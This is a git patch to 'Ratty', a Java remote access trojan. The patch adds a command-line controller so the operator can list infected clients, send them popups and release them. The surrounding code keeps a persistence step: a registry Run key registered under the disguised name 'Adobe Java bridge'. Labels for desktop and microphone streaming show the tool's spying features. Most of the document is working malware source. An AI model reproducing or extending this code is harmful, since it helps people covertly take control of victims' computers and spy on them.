From cf1b74687abf44e9c47f70408fab3d22fa0b388e Mon Sep 17 00:00:00 2001 From: Sogomn Date: Wed, 17 Feb 2016 20:06:35 +0100 Subject: [PATCH] Small changes Further command line support development --- Ratty/res/language/lang.properties | 14 +- Ratty/res/language/lang_de.properties | 14 +- Ratty/res/language/lang_en.properties | 14 +- Ratty/src/de/sogomn/rat/Ratty.java | 58 +++++-- .../rat/server/AbstractRattyController.java | 2 +- .../rat/server/cmd/CommandLineReader.java | 122 +++++++++++++++ .../rat/server/cmd/ICommandLineListener.java | 9 ++ .../rat/server/cmd/RattyCmdController.java | 148 ++++++++++++++++++ .../de/sogomn/rat/server/gui/RattyGui.java | 2 +- .../rat/server/gui/RattyGuiController.java | 5 +- 10 files changed, 362 insertions(+), 26 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java create mode 100644 Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java create mode 100644 Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index 0725697..ac70436 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -2,7 +2,8 @@ debug.question=Server or client? debug.server=Server debug.client=Client -server.port_message=Which port should the server be bind to? +server.port_question=Which port should the server be bind to? +server.port_error=Invalid port. builder.address_question=Which address should the client connect to? builder.port_question=Which port? @@ -31,4 +32,13 @@ column.address=IP Address column.os=OS column.version=Version column.desktop=Streaming desktop -column.voice=Streaming voice \ No newline at end of file +column.voice=Streaming voice + +cmd.help=HELP: Prints this\r\n\ +LIST: Lists all connections\r\n\ +EXIT: Well...\r\n\ +FREE : Frees a client\r\n\ +POPUP : Shows a popup on the client's device\r\n\ +\r\n\ +: Either a number (the index) or an IP address\r\n\ +: A string \ No newline at end of file diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index b390622..257cde9 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -2,7 +2,8 @@ debug.question=Server oder Client? debug.server=Server debug.client=Client -server.port_message=An welchen Port soll der Server gebunden werden? +server.port_question=An welchen Port soll der Server gebunden werden? +server.port_error=Ungültiger Port. builder.address_question=Mit welcher Adresse soll sich der Client verbinden? builder.port_question=Welcher Port? @@ -31,4 +32,13 @@ column.address=IP-Adresse column.os=OS column.version=Version column.desktop=Desktopstream -column.voice=Mikrofonstream \ No newline at end of file +column.voice=Mikrofonstream + +cmd.help=HELP: Gibt das hier aus\r\n\ +LIST: Gibt alle Verbindungen aus\r\n\ +EXIT: Naja...\r\n\ +FREE : Befreit den Client\r\n\ +POPUP : Öffnet ein Popupfenster beim Client\r\n\ +\r\n\ +: Entweder eine Nummer (der Index) oder eine IP-Adresse\r\n\ +: Eine Zeichenkette \ No newline at end of file diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index 0725697..ac70436 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -2,7 +2,8 @@ debug.question=Server or client? debug.server=Server debug.client=Client -server.port_message=Which port should the server be bind to? +server.port_question=Which port should the server be bind to? +server.port_error=Invalid port. builder.address_question=Which address should the client connect to? builder.port_question=Which port? @@ -31,4 +32,13 @@ column.address=IP Address column.os=OS column.version=Version column.desktop=Streaming desktop -column.voice=Streaming voice \ No newline at end of file +column.voice=Streaming voice + +cmd.help=HELP: Prints this\r\n\ +LIST: Lists all connections\r\n\ +EXIT: Well...\r\n\ +FREE : Frees a client\r\n\ +POPUP : Shows a popup on the client's device\r\n\ +\r\n\ +: Either a number (the index) or an IP address\r\n\ +: A string \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 0710f7f..5600c0d 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -13,15 +13,20 @@ import javax.swing.UIManager; import javax.swing.plaf.nimbus.NimbusLookAndFeel; import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.server.AbstractRattyController; import de.sogomn.rat.server.ActiveServer; -import de.sogomn.rat.server.gui.RattyGui; +import de.sogomn.rat.server.cmd.RattyCmdController; import de.sogomn.rat.server.gui.RattyGuiController; - +/* + * This class is kinda hardcoded. + * I don't care. + * Sue me. + */ public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.2"; + public static final String VERSION = "1.3"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; @@ -35,8 +40,10 @@ public final class Ratty { private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME; private static final String STARTUP_COMMAND = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java.exe"; private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_COMMAND + " " + STARTUP_FILE_PATH + "\""; + private static final String NO_GUI_COMMAND = "NOGUI"; - private static final String PORT_INPUT_MESSAGE = LANGUAGE.getString("server.port_message"); + private static final String PORT_INPUT_QUESTION = LANGUAGE.getString("server.port_question"); + private static final String PORT_ERROR_MESSAGE = LANGUAGE.getString("server.port_error"); private static final String DEBUG_MESSAGE = LANGUAGE.getString("debug.question"); private static final String DEBUG_SERVER = LANGUAGE.getString("debug.server"); private static final String DEBUG_CLIENT = LANGUAGE.getString("debug.client"); @@ -83,9 +90,7 @@ public final class Ratty { } } - private static int getPortInput() { - final String input = JOptionPane.showInputDialog(PORT_INPUT_MESSAGE); - + private static int parsePort(final String input) { try { final int port = Integer.parseInt(input); @@ -99,6 +104,12 @@ public final class Ratty { } } + private static int getPortInput() { + final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION); + + return parsePort(input); + } + public static void connectToHost(final String address, final int port) { final ActiveConnection newClient = new ActiveConnection(address, port); final Trojan trojan = new Trojan(); @@ -120,10 +131,15 @@ public final class Ratty { newClient.start(); } - public static void startServer(final int port) { + public static void startServer(final int port, final boolean gui) { final ActiveServer server = new ActiveServer(port); - final RattyGui gui = new RattyGui(); - final RattyGuiController controller = new RattyGuiController(gui); + final AbstractRattyController controller; + + if (gui) { + controller = new RattyGuiController(); + } else { + controller = new RattyCmdController(); + } server.setObserver(controller); server.start(); @@ -140,7 +156,7 @@ public final class Ratty { if (input == JOptionPane.YES_OPTION) { System.out.println(DEBUG_SERVER); - startServer(port); + startServer(port, true); } else if (input == JOptionPane.NO_OPTION) { System.out.println(DEBUG_CLIENT); @@ -150,10 +166,22 @@ public final class Ratty { addToStartup(); connectToHost(address, port); } else { - final int port = getPortInput(); - - if (port != -1) { - startServer(port); + if (args.length >= 2 && args[0].equalsIgnoreCase(NO_GUI_COMMAND)) { + final int port = parsePort(args[1]); + + if (port != -1) { + startServer(port, false); + } else { + System.out.println(PORT_ERROR_MESSAGE); + } + } else { + final int port = getPortInput(); + + if (port != -1) { + startServer(port, true); + } else { + JOptionPane.showMessageDialog(null, PORT_ERROR_MESSAGE); + } } } } diff --git a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java index 524c446..21d4b82 100644 --- a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java +++ b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java @@ -9,7 +9,7 @@ import de.sogomn.rat.packet.InformationPacket; public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver { - private ArrayList connections; + protected ArrayList connections; public AbstractRattyController() { connections = new ArrayList(); diff --git a/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java b/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java new file mode 100644 index 0000000..7fefc3c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java @@ -0,0 +1,122 @@ +package de.sogomn.rat.server.cmd; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.stream.Stream; + +import de.sogomn.engine.util.AbstractListenerContainer; + +public final class CommandLineReader extends AbstractListenerContainer { + + private BufferedReader reader; + private Thread thread; + + private static final String ARGUMENT_SEPARATOR = " "; + + public CommandLineReader() { + final InputStreamReader inReader = new InputStreamReader(System.in); + + reader = new BufferedReader(inReader); + } + + private String readLine() { + try { + final String line = reader.readLine(); + + return line; + } catch (final IOException ex) { + return null; + } + } + + public void start() { + final Runnable runnable = () -> { + while (true) { + final String line = readLine(); + + if (line != null) { + final Command command = Command.parse(line); + + notifyListeners(listener -> listener.commandInput(command)); + } + } + }; + + thread = new Thread(runnable); + thread.start(); + } + + public void stop() { + thread.interrupt(); + thread = null; + } + + public static final class Command { + + private final String command; + private final String[] arguments; + + public static final Command EMPTY = new Command(""); + + public Command(final String command, final String... arguments) { + this.command = command; + this.arguments = arguments; + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } else if (obj == null || getClass() != obj.getClass() || command == null) { + return false; + } + + final Command other = (Command)obj; + final boolean equals = command.equalsIgnoreCase(other.command); + + return equals; + } + + public boolean equals(final String string) { + if (command == null || string == null) { + return false; + } + + return command.equalsIgnoreCase(string); + } + + @Override + public String toString() { + return command; + } + + public String argument(final int index) { + if (index < 0 || index > arguments.length - 1) { + return null; + } + + return arguments[index]; + } + + public static Command parse(final String line) { + final String[] parts = line.split(ARGUMENT_SEPARATOR); + + if (parts.length == 0) { + return EMPTY; + } + + final String commandString = parts[0]; + final String[] arguments = Stream + .of(parts) + .skip(1) + .filter(part -> part != null && !part.isEmpty()) + .toArray(String[]::new); + final Command command = new Command(commandString, arguments); + + return command; + } + + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java b/Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java new file mode 100644 index 0000000..5a55784 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java @@ -0,0 +1,9 @@ +package de.sogomn.rat.server.cmd; + +import de.sogomn.rat.server.cmd.CommandLineReader.Command; + +public interface ICommandLineListener { + + void commandInput(final Command command); + +} diff --git a/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java b/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java new file mode 100644 index 0000000..2b0dc62 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java @@ -0,0 +1,148 @@ +package de.sogomn.rat.server.cmd; + +import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.Ratty; +import de.sogomn.rat.packet.FreePacket; +import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.PopupPacket; +import de.sogomn.rat.server.AbstractRattyController; +import de.sogomn.rat.server.cmd.CommandLineReader.Command; + +public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener { + + private CommandLineReader reader; + + private static final String FREE = "Free"; + private static final String EXIT = "Exit"; + private static final String LIST = "List"; + private static final String POPUP = "Popup"; + private static final String HELP = "Help"; + + private static final String HELP_STRING = Ratty.LANGUAGE.getString("cmd.help"); + + public RattyCmdController() { + reader = new CommandLineReader(); + + reader.addListener(this); + reader.start(); + } + + private int parseIndexSafely(final String string) { + if (string == null) { + return -1; + } + + try { + final int number = Integer.parseInt(string); + + return number; + } catch (final NumberFormatException ex) { + return -1; + } + } + + private ActiveConnection getConnectionByIndex(final int index) { + if (index < 0 || index > connections.size() - 1) { + return null; + } + + return connections.get(index); + } + + private ActiveConnection getConnectionByAddress(final String address) { + if (address == null) { + return null; + } + + for (final ActiveConnection connection : connections) { + final String connectionAddress = connection.getAddress(); + + if (connectionAddress.equals(address)) { + return connection; + } + } + + return null; + } + + private ActiveConnection getConnection(final String input) { + if (input == null) { + return null; + } + + final int index = parseIndexSafely(input); + final ActiveConnection connection; + + if (index != -1) { + connection = getConnectionByIndex(index); + } else { + connection = getConnectionByAddress(input); + } + + return connection; + } + + /* + * ================================================== + * HANDLING + * ================================================== + */ + + private void freeClient(final Command command) { + final String input = command.argument(0); + final ActiveConnection connection = getConnection(input); + + if (connection != null) { + final FreePacket packet = new FreePacket(); + + connection.addPacket(packet); + } + } + + private void listClients() { + connections.stream().forEach(connection -> { + final int index = connections.indexOf(connection); + + System.out.println(index + ": " + connection.getAddress()); + }); + } + + private void sendPopup(final Command command) { + final String connectionInput = command.argument(0); + final ActiveConnection connection = getConnection(connectionInput); + final String message = command.argument(1); + + if (connection != null && message != null) { + final PopupPacket packet = new PopupPacket(); + + connection.addPacket(packet); + } + } + + /* + * ================================================== + * HANDLING END + * ================================================== + */ + + @Override + public void packetReceived(final ActiveConnection connection, final IPacket packet) { + //... + } + + @Override + public void commandInput(final Command command) { + if (command.equals(EXIT)) { + System.exit(0); + } else if (command.equals(FREE)) { + freeClient(command); + } else if (command.equals(LIST)) { + listClients(); + } else if (command.equals(POPUP)) { + sendPopup(command); + } else if (command.equals(HELP)) { + System.out.println(HELP_STRING); + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 8b2cb45..9ea0845 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -32,7 +32,7 @@ import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.ImageUtils; -public final class RattyGui extends AbstractListenerContainer { +final class RattyGui extends AbstractListenerContainer { private JFrame frame; diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 4952d63..c09b096 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -38,9 +38,8 @@ public final class RattyGuiController extends AbstractRattyController implements private HashMap clients; - public RattyGuiController(final RattyGui gui) { - this.gui = gui; - + public RattyGuiController() { + gui = new RattyGui(); clients = new HashMap(); gui.addListener(this);